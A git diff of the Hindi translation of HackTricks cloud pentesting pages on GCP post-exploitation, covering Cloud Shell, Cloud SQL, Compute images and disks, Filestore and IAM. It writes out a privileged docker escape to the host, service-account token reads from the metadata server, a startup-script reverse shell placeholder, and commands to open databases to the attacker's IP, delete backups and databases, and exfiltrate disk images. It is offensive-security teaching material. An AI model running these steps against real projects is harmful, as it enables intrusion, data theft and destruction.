sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
यह गूगल द्वारा एक कमजोरियों के रूप में नहीं माना जाता है, लेकिन यह आपको उस वातावरण में हो रही घटनाओं का एक व्यापक दृष्टिकोण देता है।
|
||||
</details>
|
||||
|
||||
इसके अलावा, ध्यान दें कि होस्ट से आप एक सेवा खाता टोकन पा सकते हैं:
|
||||
यह google द्वारा एक vulnerability माना नहीं जाता, लेकिन यह आपको उस env में क्या हो रहा है का एक व्यापक दृष्टिकोण देता है।
|
||||
|
||||
इसके अलावा, ध्यान दें कि host से आप एक service account token पा सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
निम्नलिखित दायरे के साथ:
|
||||
</details>
|
||||
|
||||
निम्नलिखित scopes के साथ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>सर्विस अकाउंट के scopes प्राप्त करें</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
LinPEAS के साथ मेटाडेटा की गणना करें:
|
||||
</details>
|
||||
|
||||
LinPEAS के साथ metadata enumerate करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>LinPEAS के साथ metadata enumerate करें</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद **कोई अनुमति नहीं मिली**...
|
||||
</details>
|
||||
|
||||
### इसे प्रॉक्सी के रूप में उपयोग करें
|
||||
Service Account के token के साथ [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद **कोई permission नहीं मिला**...
|
||||
|
||||
यदि आप अपने गूगल क्लाउड शेल इंस्टेंस का प्रॉक्सी के रूप में उपयोग करना चाहते हैं, तो आपको निम्नलिखित कमांड चलाने की आवश्यकता है (या उन्हें .bashrc फ़ाइल में डालें):
|
||||
### इसे Proxy के रूप में उपयोग करें
|
||||
|
||||
यदि आप अपने google cloud shell instance को proxy के रूप में उपयोग करना चाहते हैं तो आपको निम्नलिखित commands चलाने होंगे (या इन्हें .bashrc फ़ाइल में डालना होगा):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid proxy इंस्टॉल करें</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
बस आपको बताने के लिए कि Squid एक HTTP प्रॉक्सी सर्वर है। निम्नलिखित सेटिंग्स के साथ एक **squid.conf** फ़ाइल बनाएं:
|
||||
</details>
|
||||
|
||||
जानकारी के लिए: Squid एक http proxy server है। निम्न सेटिंग्स के साथ एक **squid.conf** फ़ाइल बनाएं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create squid.conf file</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
**squid.conf** फ़ाइल को **/etc/squid** में कॉपी करें
|
||||
|
||||
<details>
|
||||
|
||||
<summary>कॉन्फ़िग को **/etc/squid** में कॉपी करें</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
अंत में स्क्विड सेवा चलाएँ:
|
||||
</details>
|
||||
|
||||
अंत में squid सेवा चलाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Start Squid service</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
ngrok का उपयोग करें ताकि प्रॉक्सी बाहर से उपलब्ध हो सके:
|
||||
</details>
|
||||
|
||||
बाहर से proxy उपलब्ध कराने के लिए ngrok का उपयोग करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ngrok के साथ proxy को एक्सपोज़ करें</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
tcp:// यूआरएल कॉपी करने के बाद। यदि आप ब्राउज़र से प्रॉक्सी चलाना चाहते हैं, तो tcp:// भाग और पोर्ट को हटाना और अपने ब्राउज़र प्रॉक्सी सेटिंग्स के पोर्ट फ़ील्ड में पोर्ट डालना सुझावित है (squid एक http प्रॉक्सी सर्वर है)।
|
||||
</details>
|
||||
|
||||
शुरुआत में बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
|
||||
रन करने के बाद tcp:// url कॉपी करें। यदि आप proxy को browser से चलाना चाहते हैं, तो tcp:// भाग और port हटा दें और port को अपने browser proxy settings के port field में डालें (squid is a http proxy server).
|
||||
|
||||
स्टार्टअप पर बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>.bashrc में स्वचालित स्टार्टअप के लिए जोड़ें</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
निर्देश [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) से कॉपी किए गए थे। Cloud Shell में किसी भी प्रकार的软件 (डेटाबेस और यहां तक कि विंडोज) चलाने के लिए अन्य पागल विचारों के लिए उस पृष्ठ की जांच करें।
|
||||
</details>
|
||||
|
||||
निर्देश [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) से कॉपी किए गए थे। उस पृष्ठ में अन्य अनोखे तरीके देखें जिनसे किसी भी प्रकार का सॉफ़्टवेयर (databases and even windows) Cloud Shell में चलाया जा सकता है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+67
-13
@@ -12,7 +12,11 @@ Cloud SQL के बारे में अधिक जानकारी क
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस पोर्ट तक पहुंच** की आवश्यकता है और **यूजरनेम** और **पासवर्ड** पता होना चाहिए, कोई IAM आवश्यकताएँ नहीं हैं। इसलिए, एक आसान तरीका है कि यदि डेटाबेस का एक सार्वजनिक IP पता है, तो अनुमत नेटवर्क को अपडेट करें और **अपने स्वयं के IP पते को इसे एक्सेस करने की अनुमति दें**।
|
||||
Databases से कनेक्ट करने के लिए आपको केवल **database port तक access** और **username** और **password** पता होना चाहिए; IAM की कोई requirement नहीं है। इसलिए, यदि database का **public IP** है तो एक आसान तरीका है **allowed networks** को अपडेट करके अपने **IP address** को access करने की अनुमति देना।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>अपने IP को अनुमति दें और database से कनेक्ट करें</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
यह भी संभव है कि **`--no-backup`** का उपयोग करके डेटाबेस के **बैकअप को बाधित** किया जा सके।
|
||||
</details>
|
||||
|
||||
चूंकि ये आवश्यकताएँ हैं, मैं पूरी तरह से निश्चित नहीं हूँ कि **`cloudsql.instances.connect`** और **`cloudsql.instances.login`** के लिए अनुमतियाँ क्या हैं। यदि आप जानते हैं तो एक PR भेजें!
|
||||
आप **`--no-backup`** का उपयोग करके डेटाबेस के बैकअप को **बाधित** भी कर सकते हैं।
|
||||
|
||||
इन आवश्यकताओं को देखकर मैं पूरी तरह सुनिश्चित नहीं हूँ कि अनुमति **`cloudsql.instances.connect`** और **`cloudsql.instances.login`** किसके लिए हैं। अगर आप जानते हैं तो एक PR भेजें!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
डेटाबेस के **सभी उपयोगकर्ताओं की सूची** प्राप्त करें:
|
||||
डेटाबेस के सभी उपयोगकर्ताओं की **सूची** प्राप्त करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डेटाबेस उपयोगकर्ताओं की सूची</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
यह अनुमति **डेटाबेस के अंदर एक नया उपयोगकर्ता बनाने** की अनुमति देती है:
|
||||
यह permission डेटाबेस के अंदर **नया user बनाने** की अनुमति देता है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डेटाबेस user बनाएँ</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
यह अनुमति **डेटाबेस के अंदर उपयोगकर्ता को अपडेट करने** की अनुमति देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:
|
||||
यह अनुमति डेटाबेस के अंदर **user को अपडेट** करने देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>user का पासवर्ड अपडेट करें</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
बैकअप में **पुरानी संवेदनशील जानकारी** हो सकती है, इसलिए उन्हें चेक करना दिलचस्प है।\
|
||||
**एक बैकअप को** डेटाबेस के अंदर पुनर्स्थापित करें:
|
||||
बैकअप्स में **पुरानी संवेदनशील जानकारी** हो सकती है, इसलिए इन्हें जांचना दिलचस्प होता है.\
|
||||
**डेटाबेस के अंदर बैकअप पुनर्स्थापित करें:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डेटाबेस बैकअप पुनर्स्थापित करें</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
इसे अधिक छिपे हुए तरीके से करने के लिए, एक नया SQL इंस्टेंस बनाना और वहां डेटा को पुनर्प्राप्त करना अनुशंसित है, बजाय वर्तमान में चल रहे डेटाबेस में।
|
||||
</details>
|
||||
|
||||
इसे अधिक stealth तरीके से करने के लिए यह सिफारिश की जाती है कि एक नया SQL instance बनाकर वहां डेटा पुनर्प्राप्त करें बजाय कि वर्तमान में चल रहे डेटाबेस में।
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
यह अनुमति बैकअप को हटाने की अनुमति देती है:
|
||||
यह अनुमति बैकअप हटाने की अनुमति देती है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>बैकअप हटाएँ</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**एक डेटाबेस का निर्यात करें** ताकि आप उसे वहां से एक्सेस कर सकें:
|
||||
**डेटाबेस निर्यात करें** Cloud Storage Bucket में ताकि आप वहां से इसे एक्सेस कर सकें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डेटाबेस को bucket में निर्यात करें</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**एक डेटाबेस आयात करें** (ओवरराइट) एक क्लाउड स्टोरेज बकेट से:
|
||||
**Cloud Storage Bucket से डेटाबेस आयात करें (overwrite):**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>बकेट से डेटाबेस आयात करें</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
db instance से एक डेटाबेस हटाएं:
|
||||
db instance से डाटाबेस हटाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डाटाबेस हटाएँ</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+83
-23
@@ -4,37 +4,47 @@
|
||||
|
||||
## Compute
|
||||
|
||||
Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:
|
||||
For more information about Compute and VPC (Networking) check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### स्थानीय रूप से छवियों का निर्यात और निरीक्षण करें
|
||||
### Export & Inspect Images locally
|
||||
|
||||
यह एक हमलावर को **पहले से मौजूद छवियों के अंदर निहित डेटा तक पहुँचने** या **चल रहे VMs की नई छवियाँ बनाने** और उनके डेटा तक पहुँचने की अनुमति देगा बिना चल रहे VM तक पहुँच के।
|
||||
यह एक हमलावर को **already existing images के अंदर मौजूद डेटा तक पहुँचने** या **running VMs की नई images बनाने** और बिना चल रहे VM में प्रवेश किए उनका डेटा एक्सेस करने की अनुमति देगा।
|
||||
|
||||
एक VM छवि को एक बकेट में निर्यात करना और फिर उसे डाउनलोड करके स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:
|
||||
यह संभव है कि आप एक VM image को bucket में export कर सकें, फिर उसे download करके कमांड के जरिए स्थानीय रूप से mount कर सकें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VM image को export और download करें</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
इस क्रिया को करने के लिए हमलावर को स्टोरेज बकेट पर विशेषाधिकार की आवश्यकता हो सकती है और निश्चित रूप से **cloudbuild पर विशेषाधिकार** की आवश्यकता है क्योंकि यह **सेवा** है जिसे निर्यात करने के लिए कहा जाएगा।\
|
||||
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को विशेषाधिकार प्राप्त अनुमतियों की आवश्यकता है।\
|
||||
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` को आवश्यकता है:
|
||||
</details>
|
||||
|
||||
इस कार्रवाई को करने से पहले attacker को storage bucket पर privileges की आवश्यकता हो सकती है और निश्चित रूप से **privileges over cloudbuild** चाहिए क्योंकि यह वही **service** है जिसे export करने के लिए कहा जाएगा\
|
||||
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को privileged permissions चाहिए होंगे।\
|
||||
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` को चाहिए:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
- roles/iam.serviceAccountUser
|
||||
|
||||
और SA `<project-id>-compute@developer.gserviceaccount.com` को आवश्यकता है:
|
||||
और SA `<project-id>-compute@developer.gserviceaccount.com` को चाहिए:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### स्थानीय रूप से स्नैपशॉट और डिस्क का निर्यात और निरीक्षण करें
|
||||
### Export & Inspect Snapshots & Disks locally
|
||||
|
||||
स्नैपशॉट और डिस्क को सीधे निर्यात करना संभव नहीं है, लेकिन **एक स्नैपशॉट को डिस्क में, एक डिस्क को इमेज में** में बदलना संभव है और **पिछले अनुभाग** के अनुसार, उस इमेज को निर्यात करना संभव है ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।
|
||||
Snapshots और Disks को सीधे export करना संभव नहीं है, लेकिन संभव है कि आप **एक snapshot को disk में बदलें, एक disk को image में बदलें** और **पिछला अनुभाग** का पालन करते हुए उस image को export करके लोकली निरीक्षण करें
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create disk from snapshot and image from disk</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
### Inspect an Image creating a VM
|
||||
</details>
|
||||
|
||||
**डेटा जो एक इमेज में संग्रहीत है** या एक **चल रही VM** के अंदर से जहां एक हमलावर **ने एक इमेज बनाई है,** एक बाहरी खाते को इमेज पर पहुंच प्रदान करना संभव है:
|
||||
### एक Image से VM बनाकर निरीक्षण
|
||||
|
||||
उद्देश्य यह है कि **image में संग्रहीत data** या उस **running VM** के भीतर मौजूद चीज़ों तक पहुँच प्राप्त की जा सके जहाँ एक **attacker** ने **image** बनाई है; इसके लिए किसी external account को उस image पर access देने की व्यवस्था की जा सकती है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>image को access दें और VM बनाएं</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
और फिर इससे एक नया VM बनाएं:
|
||||
</details>
|
||||
|
||||
और फिर इससे एक नई VM instance बनाएं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>image से VM instance बनाएं</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
यदि आप अपनी बाहरी खाता पहुंच छवि के माध्यम से नहीं दे सके, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और **मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं** छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:
|
||||
</details>
|
||||
|
||||
यदि आप अपनी external account को image पर access नहीं दे पाए, तो आप victim के project में उस image का उपयोग करके एक VM लॉन्च कर सकते हैं और image तक पहुँचने के लिए metadata को **reverse shell execute** करने के लिए सेट कर सकते हैं, param जोड़कर:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>metadata में reverse shell के साथ VM बनाएं</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### एक स्नैपशॉट/डिस्क का निरीक्षण करना उसे एक VM से जोड़कर
|
||||
</details>
|
||||
|
||||
**डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुँचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।**
|
||||
### Snapshot/Disk को VM से attach करके निरीक्षण करें
|
||||
|
||||
या आप **एक बाहरी खाते को डिस्क पर पहुँच प्रदान कर सकते हैं** (यदि प्रारंभिक बिंदु एक स्नैपशॉट है तो स्नैपशॉट पर पहुँच दें या इससे एक डिस्क बनाएं):
|
||||
किसी disk या snapshot में संग्रहीत **डेटा तक पहुँचने के लिए, आप snapshot को disk में बदल सकते हैं, disk को image में बदलकर पिछले चरणों का पालन कर सकते हैं।**
|
||||
|
||||
या आप disk पर **किसी external account को access दे सकते हैं** (यदि प्रारंभिक बिंदु snapshot है तो snapshot पर access दें या उससे disk बनाएं):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>disk को access दें</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**एक उदाहरण** में डिस्क **जोड़ें**:
|
||||
</details>
|
||||
|
||||
**डिस्क संलग्न करें** किसी instance पर:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डिस्क को instance पर संलग्न करें</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
</details>
|
||||
|
||||
VM के अंदर डिस्क माउंट करें:
|
||||
|
||||
1. **VM में SSH करें**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SSH into VM and mount disk</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **डिस्क पहचानें**: VM के अंदर जाने के बाद, डिस्क उपकरणों की सूची बनाकर नई डिस्क की पहचान करें। आमतौर पर, आप इसे `/dev/sdb`, `/dev/sdc`, आदि के रूप में पा सकते हैं।
|
||||
3. **डिस्क को फॉर्मेट और माउंट करें** (यदि यह एक नई या कच्ची डिस्क है):
|
||||
</details>
|
||||
|
||||
2. **डिस्क की पहचान करें**: एक बार VM के अंदर, डिस्क डिवाइस की सूची दिखाकर नई डिस्क की पहचान करें। सामान्यतः आप इसे `/dev/sdb`, `/dev/sdc`, आदि के रूप में पाएंगे।
|
||||
3. **डिस्क को Format और Mount करें** (यदि यह नई या raw डिस्क है):
|
||||
|
||||
- एक माउंट पॉइंट बनाएं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create mount point and mount</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- डिस्क को माउंट करें:
|
||||
</details>
|
||||
|
||||
- डिस्क माउंट करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mount disk device</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
यदि आप **snapshot या डिस्क के लिए एक बाहरी प्रोजेक्ट को एक्सेस नहीं दे सकते**, तो आपको **snapshot/disk के समान प्रोजेक्ट में एक इंस्टेंस के अंदर ये क्रियाएँ करनी पड़ सकती हैं**।
|
||||
</details>
|
||||
|
||||
यदि आप **किसी external project को snapshot या disk तक access नहीं दे सकते हैं**, तो आपको **ये कार्य उसी project के instance के अंदर करना पड़ सकता है जहाँ snapshot/disk हैं।**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-9
@@ -1,4 +1,4 @@
|
||||
# GCP - Filestore पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - Filestore पोस्ट-एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@ Filestore के बारे में अधिक जानकारी क
|
||||
|
||||
### Filestore माउंट करें
|
||||
|
||||
एक साझा फ़ाइल सिस्टम **संवेदनशील जानकारी** हो सकता है जो हमलावरों के दृष्टिकोण से दिलचस्प है। Filestore तक पहुँच के साथ, इसे **माउंट करना** संभव है:
|
||||
एक साझा फ़ाइलसिस्टम **संवेदनशील जानकारी हो सकती है** जो एक हमलावर के दृष्टिकोण से रुचिकर हो सकती है। Filestore तक पहुँच होने पर इसे **माउंट करना** संभव है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestore फ़ाइलसिस्टम को माउंट करें</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,15 +26,21 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
फाइलस्टोर इंस्टेंस का IP पता खोजने के लिए पृष्ठ के एन्यूमरेशन सेक्शन की जांच करें:
|
||||
</details>
|
||||
|
||||
filestore instance के IP address को खोजने के लिए पेज के enumeration सेक्शन को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### प्रतिबंध हटाएं और अतिरिक्त अनुमतियाँ प्राप्त करें
|
||||
### प्रतिबंध हटाएँ और अतिरिक्त permissions प्राप्त करें
|
||||
|
||||
यदि हमलावर उस IP पते पर नहीं है जिसके पास शेयर पर पहुंच है, लेकिन आपके पास इसे संशोधित करने के लिए पर्याप्त अनुमतियाँ हैं, तो इसे हटाना संभव है। यह आपके IP पते पर अधिक विशेषाधिकार प्रदान करना भी संभव है ताकि शेयर पर प्रशासनिक पहुंच प्राप्त की जा सके:
|
||||
यदि attacker उस IP address पर नहीं है जिसे share पर access है, लेकिन आपके पास उसे modify करने के लिए पर्याप्त permissions हैं, तो प्रतिबंधों को हटाना या उस पर access बदलना संभव है। आप अपने IP address को अधिक privileges दे कर share पर admin access प्राप्त कर सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestore instance को access की अनुमति देने के लिए अपडेट करें</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
### Restore a backup
|
||||
</details>
|
||||
|
||||
यदि एक बैकअप है, तो इसे एक मौजूदा या नए इंस्टेंस में **पुनर्स्थापित** करना संभव है ताकि इसकी **जानकारी सुलभ हो जाए:**
|
||||
### बैकअप पुनर्स्थापित करें
|
||||
|
||||
यदि कोई backup मौजूद है तो इसे किसी मौजूदा या नए instance में **पुनर्स्थापित किया जा सकता है** ताकि इसकी **जानकारी उपलब्ध हो जाए:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>नया instance बनाएं और backup पुनर्स्थापित करें</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
### एक बैकअप बनाएं और इसे पुनर्स्थापित करें
|
||||
</details>
|
||||
|
||||
यदि आपके पास **शेयर पर पहुंच नहीं है और आप इसे संशोधित नहीं करना चाहते**, तो **इसका बैकअप बनाना** और इसे **पुनर्स्थापित करना** संभव है जैसा कि पहले उल्लेख किया गया है:
|
||||
### एक backup बनाकर उसे restore करें
|
||||
|
||||
यदि आप **किसी share पर पहुँच नहीं रखते और उसे संशोधित नहीं करना चाहते हैं**, तो इसकी **backup** बना कर और पहले बताए अनुसार इसे **restore** करना संभव है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>नई instance में backup बनाकर उसे restore करें</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-8
@@ -1,27 +1,33 @@
|
||||
# GCP - IAM पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
आप IAM के बारे में अधिक जानकारी पा सकते हैं:
|
||||
आप IAM के बारे में और जानकारी पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### प्रबंधन कंसोल तक पहुंच प्रदान करना <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### प्रबंधन कंसोल को एक्सेस प्रदान करना <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
